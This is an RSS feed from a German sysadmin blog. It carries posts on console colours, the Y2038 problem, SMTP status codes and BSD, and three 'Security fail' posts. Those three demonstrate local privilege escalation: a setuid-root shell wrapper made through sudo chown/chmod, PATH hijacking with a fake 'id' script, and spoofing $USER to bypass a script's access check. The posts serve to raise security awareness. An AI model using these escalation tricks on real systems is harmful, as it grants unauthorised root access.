<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>adminlife.net &#187; wissen</title>
	<atom:link href="http://www.adminlife.net/category/wissen/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.adminlife.net</link>
	<description>... aus dem Alltag eines Sysadmins</description>
	<lastBuildDate>Tue, 27 Sep 2011 14:43:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Security fail pt3: Userauthentifizierung über externe Kommandos</title>
		<link>http://www.adminlife.net/hacks/security-fail-pt3-userauthentifizierung-ueber-externe-kommandos/</link>
		<comments>http://www.adminlife.net/hacks/security-fail-pt3-userauthentifizierung-ueber-externe-kommandos/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 16:47:09 +0000</pubDate>
		<dc:creator>stefan</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[howtos]]></category>
		<category><![CDATA[tipps]]></category>
		<category><![CDATA[wissen]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[Fail]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=2229</guid>
		<description><![CDATA[Tim schlug hier vor, im Vorpost etwas anderes zur Authentifizierung als $USER zu nutzen: id. Auch das ist unsicher, wenn man es falsch macht. Ich benutze hier einfach mal die UIDs statt der Usernamen. Der folgende Code wäre dann die id-Variante, wer findet das Sicherheitsproblem? #!/bin/bash if [ "$(id -u)" != "1001" ] &#38;&#38; [ [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.poormojo.org/pmjadaily/archives/Blank-Facepalm.gif" alt="" width="168" height="125" /></p>
<p>Tim schlug <a href="http://www.adminlife.net/allgemein/security-fail-pt2-userauthentifizierung-in-bash/#comment">hier</a> vor, im Vorpost etwas anderes zur Authentifizierung als $USER zu nutzen: id. Auch das ist unsicher, wenn man es falsch macht. Ich benutze hier einfach mal die UIDs statt der Usernamen. Der folgende Code wäre dann die id-Variante, wer findet das Sicherheitsproblem? <img src='http://www.adminlife.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
<BR><BR></p>
<p><code><br />
#!/bin/bash<br />
if [ "$(id -u)" != "1001" ] &amp;&amp; [ "$(id -u)" != "1002" ]<br />
then<br />
echo "Zugriff verweigert."<br />
else<br />
echo OK<br />
[...]<br />
echo "$(date) Domain $1 gelöscht durch $USER" &gt;&gt; /var/log/domainlog<br />
fi<br />
</code></p>
<p>Umgehen kann man es jedoch wieder trivial, man erstelle ~/id:<br />
<code><br />
[stefan@srv2342 ~]$ sh authme.sh<br />
Zugriff verweigert.<br />
[stefan@srv2342 ~]$ echo "echo 1001" &gt; ~/id<br />
[stefan@srv2342 ~]$ chmod +x ~/id<br />
[stefan@srv2342 ~]$ PATH=".:$PATH" sh authme.sh<br />
OK<br />
[stefan@srv2342 ~]$<br />
</code></p>
<p>Wir haben hier PATH so geändert, dass zuerst im aktuellen Pfad nach id Datei gesucht wird &#8211; die Datei haben wir grade angelegt und sie gibt aus, was das Script als Antwort sehen möchte. Whoops! ;D<!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/hacks/security-fail-pt3-userauthentifizierung-ueber-externe-kommandos/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Security fail pt2: Userauthentifizierung in BASH</title>
		<link>http://www.adminlife.net/allgemein/security-fail-pt2-userauthentifizierung-in-bash/</link>
		<comments>http://www.adminlife.net/allgemein/security-fail-pt2-userauthentifizierung-in-bash/#comments</comments>
		<pubDate>Tue, 13 Apr 2010 20:16:58 +0000</pubDate>
		<dc:creator>stefan</dc:creator>
				<category><![CDATA[allgemein]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[howtos]]></category>
		<category><![CDATA[tipps]]></category>
		<category><![CDATA[wissen]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[Fail]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=2208</guid>
		<description><![CDATA[Um die Security awareness etwas zu erhöhen, habe ich überlegt, noch ein paar witzige Schnippsel zu posten! Vielleicht entdeckt ja jemand auch etwas, das er selbst mal gemacht hat! Hier folgt nun ein sinngemäßer Auszug aus einem Script, das bei einem ISP sehr kritische Aktionen für Domains ausführt: #!/bin/bash if [ "$USER" != "franz" ] [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.justpressplay.net/images/stories/facepalm.jpg" alt="" width="229" height="172" /></p>
<p>Um die Security awareness etwas zu erhöhen, habe ich überlegt, noch ein paar witzige Schnippsel zu posten! Vielleicht entdeckt ja jemand auch etwas, das er selbst mal gemacht hat! <img src='http://www.adminlife.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Hier folgt nun ein sinngemäßer Auszug aus einem Script, das bei einem ISP sehr kritische Aktionen für Domains ausführt:<br />
<BR><BR><br />
<code><br />
#!/bin/bash<br />
if [ "$USER" != "franz" ] &amp;&amp; [ "$USER" != "karl" ]<br />
then<br />
echo "Zugriff verweigert."<br />
else<br />
[...]<br />
echo "$(date) Domain $1 gelöscht durch $USER" &gt;&gt; /var/log/domainlog<br />
fi<br />
</code></p>
<p>Wichtig ist hier vor allem das Audit Log. Umgehen kann man es jedoch trivial:<br />
<code><br />
USER=franz ./domain-delete.sh [domain]<br />
</code></p>
<p>Leider bedachte der Programmierer nicht, dass $USER natürlich trivial von jedem Shelluser geändert werden kann. Das Audit-Log würde ggfs. sehr unerfreuliche Folgen haben.</p>
<p>Bessere Lösung: sudo benutzen und nur den zwei Usern, die es wirklich benötigen, Rechte auf das Script gewähren.<!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/allgemein/security-fail-pt2-userauthentifizierung-in-bash/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Security fail pt1: sudo chmod/chown</title>
		<link>http://www.adminlife.net/allgemein/sudo-chmodchown-fail/</link>
		<comments>http://www.adminlife.net/allgemein/sudo-chmodchown-fail/#comments</comments>
		<pubDate>Thu, 08 Apr 2010 23:06:16 +0000</pubDate>
		<dc:creator>stefan</dc:creator>
				<category><![CDATA[allgemein]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[wissen]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[chmod]]></category>
		<category><![CDATA[chown]]></category>
		<category><![CDATA[Fail]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[sudo]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=2191</guid>
		<description><![CDATA[Auf einem Webserver fand ich kürzlich eine sudoers-Zeile, die einem User erlaubte, chmod und chown für ein bestimmtes Verzeichnis (/foo) auszuführen. Sowas sollte man tunlichst vermeiden. user@srv2342: ~&#62; id uid=1007(user) gid=100(users) groups=16(dialout),33(video),100(users) Ich brauche zuerst ein kleines C-Tool: user@srv2342: ~&#62; cat &#62; /foo/y.c #include int main() { setuid(0); setgid(0); system("/bin/bash"); } STRG-D Compilieren: user@srv2342:/foo&#62; cd [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://thegamereviews.com/images/uploads/20080918_Picard_Facepalm.jpg" alt="Facepalm" width="233" height="151" /></p>
<p>Auf einem Webserver fand ich kürzlich eine <em>sudoers</em>-Zeile, die einem User erlaubte, chmod und chown für ein bestimmtes Verzeichnis (/foo) auszuführen. Sowas sollte man tunlichst vermeiden.<br />
<code><br />
user@srv2342: ~&gt; id<br />
uid=1007(user) gid=100(users) groups=16(dialout),33(video),100(users)<br />
</code><br />
<BR><br />
Ich brauche zuerst ein kleines C-Tool:<br />
<code><br />
user@srv2342: ~&gt; cat &gt; /foo/y.c<br />
#include<br />
int main()<br />
{<br />
setuid(0);<br />
setgid(0);<br />
system("/bin/bash");<br />
}<br />
STRG-D<br />
</code></p>
<p>Compilieren:<br />
<code><br />
user@srv2342:/foo&gt; cd /foo; gcc y.c -o y<br />
</code></p>
<p>Jetzt machen wir sudo-magic und erhalten ein SetUID-Bit:</p>
<p><code>user@srv2342:/foo&gt; sudo /bin/chown 0:0 /foo/y<br />
user@srv2342:/foo&gt; sudo /bin/chmod 4775 /foo/y<br />
user@srv2342:/foo ls -l<br />
total 16<br />
-rwsrwxr-x 1 root        root         9217 Mar 26 14:52 y<br />
-rw-r----- 1 user        users         101 Mar 26 14:51 y.c<br />
</code></p>
<p>Root werden:<br />
<code><br />
user@srv2342:/foo&gt; ./y<br />
srv2342:/foo # id<br />
uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)</code></p>
<p>Owned! <img src='http://www.adminlife.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/allgemein/sudo-chmodchown-fail/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Farbtabelle für die Konsole</title>
		<link>http://www.adminlife.net/wissen/farbtabelle-fuer-die-konsole/</link>
		<comments>http://www.adminlife.net/wissen/farbtabelle-fuer-die-konsole/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 07:34:37 +0000</pubDate>
		<dc:creator>matthias</dc:creator>
				<category><![CDATA[wissen]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[color]]></category>
		<category><![CDATA[colour]]></category>
		<category><![CDATA[echo]]></category>
		<category><![CDATA[farben]]></category>
		<category><![CDATA[farbig]]></category>
		<category><![CDATA[farbtabelle]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[skripts]]></category>
		<category><![CDATA[spickzettel]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=2122</guid>
		<description><![CDATA[Wer ein bisschen Farbe in sein Shellscript bringen möchte, dem könnte folgender Codeschnippsel behilflich sein. Einfach in ein Terminal kopieren, schon erhält man eine komplette Farbtabelle mit entsprechenden Farbcodes: [code language="shell"] #/bin/sh # Show all the colors of the rainbow, should be run under bash for STYLE in 0 1 2 3 4 5 6 [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Wer ein bisschen Farbe in sein Shellscript bringen möchte, dem könnte folgender Codeschnippsel behilflich sein. Einfach in ein Terminal kopieren, schon erhält man eine komplette Farbtabelle mit entsprechenden Farbcodes:</p>
<p>[code language="shell"]<br />
#/bin/sh<br />
# Show all the colors of the rainbow, should be run under bash<br />
for STYLE in 0 1 2 3 4 5 6 7; do<br />
  for FG in 30 31 32 33 34 35 36 37; do<br />
    for BG in 40 41 42 43 44 45 46 47; do<br />
      CTRL=&quot;\033[${STYLE};${FG};${BG}m&quot;<br />
      echo -en &quot;${CTRL}&quot;<br />
      echo -n &quot;${STYLE};${FG};${BG}&quot;<br />
      echo -en &quot;\033[0m&quot;<br />
    done<br />
    echo<br />
  done<br />
  echo<br />
done<br />
# Reset<br />
echo -e &quot;\033[0m&quot;<br />
[/code]</p>
<p align="justify">Nutzen lässt sich z.B: die Farbe grün (Code 32) mit fetter Schrift (Code 1) wie folgt:</p>
<p>[code language="shell"]<br />
echo -e &quot;\e[1;32mGREEN\033[0m&quot;<br />
[/code]</p>
<p align="justify">Anschließend wird die Terminalfarbe mit der Code Kombination <code>\033[0m</code> wieder auf die Standardfarben resettet.</p>
<p><!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/wissen/farbtabelle-fuer-die-konsole/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Internet Report 1981</title>
		<link>http://www.adminlife.net/wissen/internet-report-1981/</link>
		<comments>http://www.adminlife.net/wissen/internet-report-1981/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 05:21:01 +0000</pubDate>
		<dc:creator>matthias</dc:creator>
				<category><![CDATA[wissen]]></category>
		<category><![CDATA[1981]]></category>
		<category><![CDATA[dokumentation]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[nachrichten]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[newspaper]]></category>
		<category><![CDATA[report]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=2079</guid>
		<description><![CDATA[[youtube]http://www.youtube.com/watch?v=5WCTn4FljUQ[/youtube] Nachrichten lesen am heimischen Computer &#8211; damals noch keine große Konkurrenz für die Zeitungsverlage&#8230;]]></description>
			<content:encoded><![CDATA[<p>[youtube]http://www.youtube.com/watch?v=5WCTn4FljUQ[/youtube]</p>
<p align="justify">Nachrichten lesen am heimischen Computer &#8211; damals noch keine große Konkurrenz für die Zeitungsverlage&#8230;</p>
<p><!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/wissen/internet-report-1981/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firewallregelmanagement</title>
		<link>http://www.adminlife.net/adminlife/firewallregelmanagement/</link>
		<comments>http://www.adminlife.net/adminlife/firewallregelmanagement/#comments</comments>
		<pubDate>Sun, 20 Sep 2009 16:04:29 +0000</pubDate>
		<dc:creator>stefan</dc:creator>
				<category><![CDATA[adminlife]]></category>
		<category><![CDATA[howtos]]></category>
		<category><![CDATA[wissen]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[bsi]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[Firewallregeln]]></category>
		<category><![CDATA[Repo]]></category>
		<category><![CDATA[Sicherung]]></category>
		<category><![CDATA[SVN]]></category>
		<category><![CDATA[zertifizierung]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=1726</guid>
		<description><![CDATA[Ich frage mich, wie ihr eure Firewallregeln in Firmenfirewalls verwaltet und sichert &#8211; wer iptables oder eine darauf basierende Lösung besitzt, wird wohl einfach automatisch oder eventbasiert Backups machen oder die Regeln in ein Repo einchecken &#8211; doch was machen die armen Admins, die mit proprietärer Hardware zu tun haben? Mir fallen spontan folgende 5 [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Ich frage mich, wie ihr eure Firewallregeln in Firmenfirewalls verwaltet und sichert &#8211; wer iptables oder eine darauf basierende Lösung besitzt, wird wohl einfach automatisch oder eventbasiert Backups machen oder die Regeln in ein Repo einchecken &#8211; doch was machen die armen Admins, die mit proprietärer Hardware zu tun haben? Mir fallen spontan folgende 5 Punkte ein:</p>
<ul>
<li>Programmieren einer Schnittstelle, die die Regeln ausliest und in ein Repo eincheckt</li>
<li>Automatische Backups durch die Firewall erzeugen lassen (oftmals per Mail möglich) und einchecken in ein Repo</li>
<li>Eingeben der Firewallregeln in ein Dokumentationssystem</li>
<li>Eingeben der Firewallregeln in ein System, welches die Regeln dann auf der Firewall anlegt</li>
<li>Keine Dokumentation <img src='http://www.adminlife.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ul>
<p>Mich würde interessieren, wie ihr hier vorgeht? Z.B. für eine Zertifizierung nach dem <a href="http://de.wikipedia.org/wiki/IT-Grundschutzhandbuch">IT-Grundschutzhandbuch</a> sind solche organisatorischen Dinge nicht ganz unwichtig.<!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/adminlife/firewallregelmanagement/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Landkarten der weltweiten Internetzensur</title>
		<link>http://www.adminlife.net/wissen/landkarten-der-weltweiten-internetzensur/</link>
		<comments>http://www.adminlife.net/wissen/landkarten-der-weltweiten-internetzensur/#comments</comments>
		<pubDate>Sun, 05 Apr 2009 07:34:53 +0000</pubDate>
		<dc:creator>matthias</dc:creator>
				<category><![CDATA[wissen]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=1386</guid>
		<description><![CDATA[Tobias hat in seinem Beitrag vier interessante Landkarten zur Internetzensur vorgestellt. Die Landkarten stellen die folgenden Punkte dar: Politische Zensur, Eingeschränkte Nutzung von Internet-Tools, Einschränkung sozialer Themen sowie Konflikte und Sicherheitsrisiken. Alle Landkarten stammen von der OpenNet Initiative. Auf wie vielen Landkarten Deutschland wohl in einigen Jahren gelistet sein wird?]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-1387 aligncenter" title="inet_zensur" src="http://www.adminlife.net/wp-content/uploads/2009/04/inet_zensur2.png" alt="inet_zensur" width="500" height="237" /></p>
<p align="justify"><a href="http://www.tobiaskoelligan.de/internet/internetzensur-weltweit-eine-landkarte/">Tobias hat in seinem Beitrag</a> vier interessante Landkarten zur Internetzensur vorgestellt. Die Landkarten stellen die folgenden Punkte dar: <a href="http://map.opennet.net/filtering-pol.html">Politische Zensur</a>, <a href="http://map.opennet.net/filtering-IT.html">Eingeschränkte Nutzung von Internet-Tools</a>, <a href="http://map.opennet.net/filtering-soc.html">Einschränkung sozialer Themen</a> sowie <a href="http://map.opennet.net/filtering-consec.html">Konflikte und Sicherheitsrisiken</a>.</p>
<p align="justify">Alle Landkarten stammen von der <a href="http://map.opennet.net/">OpenNet Initiative</a>. Auf wie vielen Landkarten Deutschland wohl in einigen Jahren gelistet sein wird?</p>
<p><!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/wissen/landkarten-der-weltweiten-internetzensur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2.147.483.647 oder das Ende der UNIX Epoche</title>
		<link>http://www.adminlife.net/wissen/2147483647-oder-das-ende-der-unix-epoche/</link>
		<comments>http://www.adminlife.net/wissen/2147483647-oder-das-ende-der-unix-epoche/#comments</comments>
		<pubDate>Sun, 04 May 2008 10:11:07 +0000</pubDate>
		<dc:creator>matthias</dc:creator>
				<category><![CDATA[wissen]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=646</guid>
		<description><![CDATA[Das Ende der UNIX Epoche? Treffender wäre wohl die Umschreibung: Das Jahr 2038 Problem. Viele mögen sich wohl noch an die Ängste vor dem Jahr 2000 Problem erinnern. Viel wichtiger ist aber das Jahr 2038, da hier der POSIX Zeitstandard an seine Grenzen gerät. Doch vorerst eine kurze Erläuterung zur UNIX Zeit. Die UNIX Zeit [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.adminlife.net/wp-content/uploads/2008/05/broken-clock32.jpg" alt="" title="broken-clock" width="180" height="153" class="alignright size-full wp-image-682" />
<p align="justify">Das Ende der UNIX Epoche? Treffender wäre wohl die Umschreibung: <strong>Das Jahr 2038 Problem</strong>. Viele mögen sich wohl noch an die Ängste vor dem <a href="http://de.wikipedia.org/wiki/Jahr-2000-Problem">Jahr 2000 Problem</a> erinnern. Viel wichtiger ist aber das Jahr 2038, da hier der POSIX Zeitstandard an seine Grenzen gerät. Doch vorerst eine kurze Erläuterung zur UNIX Zeit.</p>
<p align="justify">Die UNIX Zeit zählt die vergangenen Sekunden seit dem 1. Januar 1970, 00:00:00 Uhr. Dieses Startdatum nennt sich &#8220;The Epoch&#8221;. Für uns Menschen lässt sich aus der Zahl 2.147.483.647 wenig deuten, ein Computer kann hiermit aber sehr gut umgehen. So sind Umrechnungen oder Addition bzw. Subtraktion von einfachen Zahlen für eine Maschine schnell getan. Wollen wir uns einen Timestring unter Linux umrechnen lassen, geht dies ganz einfach:</p>
<p>[code language="css"]date -d @2147483647<br />
Tue Jan 19 04:14:07 CET 2038[/code]</p>
<p align="justify">Gehen wir nun nur eine Sekunde weiter, passiert aber folgendes:</p>
<p>[code language="css"]date -d @2147483648<br />
date: invalid date `@2147483648'[/code]</p>
<p align="justify">Hier sind die Grenzen der UNIX Epoche erreicht. Warum? 2Â³Â¹ = 2.147.483.647 &#8211; jede größere Zahl erzeugt einen Pufferüberlauf. Der UNIX Timestamp wird in der 32 Bit großen <code>time_t</code> Variable gespeichert, wobei das 32te Bit jedoch für die Unterscheidung von positiven und negativen Werten dient. Somit lässt sich auch ein Datum vor 1970 bestimmen. Älter als vom 13. Dezember 1901, 20:45:52 Uhr sollten eure digitalen Daten dann jedoch nicht sein, ansonsten droht wieder ein Pufferüberlauf.</p>
<p align="justify">Und was kann man dagegen tun? Keine Sorge &#8211; eine Lösung ist bereits ausgearbeitet. Da 32 Bit nicht reichen, wechselt man einfach zu 64 Bit. Die 64 Bit Varianten von Linux Distributionen können bereits mit 64 Bit <code>time_t</code> umgehen, wobei es jedoch Probleme mit starren 32 Bit Zeitvariablen in einigen Programmen geben kann. Bei diesen gilt es innerhalb der nächsten 30 Jahre den Adressraum zu vergrößern. Mit 64 Bit haben wir dann erstmal wieder 290 Milliarden Jahre Ruhe. Glück gehabt!</p>
<p>Links:<br />
<a href="http://de.wikipedia.org/wiki/Unixzeit">Unixzeit</a><br />
<a href="http://home.netcom.com/~rogermw/Y2038.html">The Year 2038 Problem</a><br />
<a href="http://www.2038bug.com/">2038bug.com</a><br />
<a href="http://en.wikipedia.org/wiki/Time_t">time_t</a><!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/wissen/2147483647-oder-das-ende-der-unix-epoche/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The Admin Zen &#8211; Keep it up an running</title>
		<link>http://www.adminlife.net/wissen/the-admin-zen-keep-it-up-an-running/</link>
		<comments>http://www.adminlife.net/wissen/the-admin-zen-keep-it-up-an-running/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 17:18:22 +0000</pubDate>
		<dc:creator>matthias</dc:creator>
				<category><![CDATA[wissen]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/?p=667</guid>
		<description><![CDATA[Das hier ausdrucken und an die Wand hängen! adminzen.org via]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-668 aligncenter" title="adminzen" src="http://www.adminlife.net/wp-content/uploads/2008/04/adminzen2.jpg" alt="" width="471" height="167" /></p>
<p align="justify"><a href="http://adminzen.org/adminzen.png">Das hier</a> ausdrucken und an die Wand hängen!</p>
<p><a href="http://adminzen.org/">adminzen.org</a><br />
<a href="http://www.deimeke.net/dirk/blog/index.php?/archives/1049-The-Admin-Zen-....html">via</a><!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/wissen/the-admin-zen-keep-it-up-an-running/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Real World MySQL Skalierung</title>
		<link>http://www.adminlife.net/wissen/real-world-mysql-skalierung/</link>
		<comments>http://www.adminlife.net/wissen/real-world-mysql-skalierung/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 12:54:22 +0000</pubDate>
		<dc:creator>matthias</dc:creator>
				<category><![CDATA[wissen]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/wissen/real-world-mysql-skalierung/</guid>
		<description><![CDATA[Eine schöne Präsentation zum Thema MySQL Skalierung im Hinblick auf Webanwendungen. Viele Best Practices werden aufgezeigt sowie Tipps zur Optimierung der Webanwendung beschrieben.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" src="http://www.adminlife.net/wp-content/uploads/2008/03/mysql_tuning2.png" alt="mysql_tuning.png" /></p>
<p align="justify">Eine schöne Präsentation zum Thema <a href="http://www.scribd.com/doc/351492/Real-world-scalability-MySQL">MySQL Skalierung im Hinblick auf Webanwendungen</a>. Viele Best Practices werden aufgezeigt sowie Tipps zur Optimierung der Webanwendung beschrieben.</p>
<p><!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/wissen/real-world-mysql-skalierung/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>BSD f&#252;r Linux User erkl&#228;rt</title>
		<link>http://www.adminlife.net/wissen/bsd-fuer-linux-user-erklaert/</link>
		<comments>http://www.adminlife.net/wissen/bsd-fuer-linux-user-erklaert/#comments</comments>
		<pubDate>Tue, 25 Sep 2007 18:10:47 +0000</pubDate>
		<dc:creator>matthias</dc:creator>
				<category><![CDATA[wissen]]></category>
		<category><![CDATA[bsd]]></category>
		<category><![CDATA[compare]]></category>
		<category><![CDATA[erkl]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[netbsd]]></category>
		<category><![CDATA[openbsd]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[vergleich]]></category>
		<category><![CDATA[versus]]></category>
		<category><![CDATA[vs]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/wissen/bsd-fuer-linux-user-erklaert/</guid>
		<description><![CDATA[BSD ist doch irgendwie immer noch ein Mysterium für die meisten Linux User (mich von diesem Unwissen nicht ausgeschlossen). Auf seiner Website zieht Erklärbär Matthew D. Fuller den ultimativen Vergleich zwischen Linux und BSD und erklärt dabei BSD verständlich für uns Linux User. Worth the read! Memo an mich selbst: Ich muss mich endlich intensiver [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">BSD ist doch irgendwie immer noch ein Mysterium für die meisten Linux User (mich von diesem Unwissen nicht ausgeschlossen). Auf seiner <a href="http://www.over-yonder.net/~fullermd/" target="_blank">Website</a> zieht Erklärbär Matthew D. Fuller den ultimativen <a href="http://www.over-yonder.net/~fullermd/rants/bsd4linux/bsd4linux1.php" target="_blank">Vergleich zwischen Linux und BSD</a> und erklärt dabei BSD verständlich für uns Linux User. Worth the read!</p>
<p align="justify"><strike>Memo an mich selbst: Ich muss mich endlich intensiver mit BSD befassen. </strike></p>
<p align="justify">Links:<br />
<a href="http://www.over-yonder.net/~fullermd/rants/bsd4linux/bsd4linux1.php" target="_blank">BSD For Linux Users: BSD vs. Linux</a><!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/wissen/bsd-fuer-linux-user-erklaert/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>SMTP Fehler- und Statuscodes</title>
		<link>http://www.adminlife.net/wissen/smtp-fehler-und-statuscodes/</link>
		<comments>http://www.adminlife.net/wissen/smtp-fehler-und-statuscodes/#comments</comments>
		<pubDate>Sat, 15 Sep 2007 08:01:42 +0000</pubDate>
		<dc:creator>matthias</dc:creator>
				<category><![CDATA[wissen]]></category>
		<category><![CDATA[250]]></category>
		<category><![CDATA[554]]></category>
		<category><![CDATA[befehl]]></category>
		<category><![CDATA[benutzer]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[errorcode]]></category>
		<category><![CDATA[esmtp]]></category>
		<category><![CDATA[failed]]></category>
		<category><![CDATA[fehler]]></category>
		<category><![CDATA[fehlercode]]></category>
		<category><![CDATA[kommando rfc]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[mail from]]></category>
		<category><![CDATA[mailbox]]></category>
		<category><![CDATA[mailserver]]></category>
		<category><![CDATA[post]]></category>
		<category><![CDATA[rcpt to]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[status]]></category>
		<category><![CDATA[statuscode]]></category>
		<category><![CDATA[syntax]]></category>
		<category><![CDATA[transaction]]></category>
		<category><![CDATA[verbindung]]></category>

		<guid isPermaLink="false">http://www.adminlife.net/wissen/smtp-fehler-und-statuscodes/</guid>
		<description><![CDATA[Die dreistelligen SMTP Statuscodes begegnen jedem Postmaster täglich. Gut zu wissen, was sich dahinter verbirgt und wie diese aufgebaut sind. Ein Mailserver antwortet auf jede Aktion des Clients mit einer Antwort in Form einer dreistelligen Ziffer. Die erste Ziffer sagt aus, ob der Mailserver die Anforderung akzeptiert hat und diese ausführen konnte. Es gibt fünf [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><img class="alignright" src="http://www.adminlife.net/wp-content/uploads/2007/09/smtp_codes2.png" alt="smtp_codes.png" align="right" />Die dreistelligen SMTP Statuscodes begegnen jedem Postmaster täglich. Gut zu wissen, was sich dahinter verbirgt und wie diese aufgebaut sind.</p>
<p align="justify">Ein Mailserver antwortet auf jede Aktion des Clients mit einer Antwort in Form einer dreistelligen Ziffer. Die erste Ziffer sagt aus, ob der Mailserver die Anforderung akzeptiert hat und diese ausführen konnte. Es gibt fünf mögliche Werte:</p>
<ul>
<li><strong>1</strong>yz: Mailserver hat die Anforderung akzeptiert, ist aber selbst noch nicht tätig geworden. Eine Bestätigungsmeldung ist erforderlich.</li>
<li><strong>2</strong>yz: Mailserver hat die Anforderung erfolgreich ausgeführt. Eine neue Anfrage ist möglich.</li>
<li><strong>3</strong>yz: Mailserver hat die Anforderung verstanden, benötigt aber weitere Informationen vom Client zur Bearbeitung.</li>
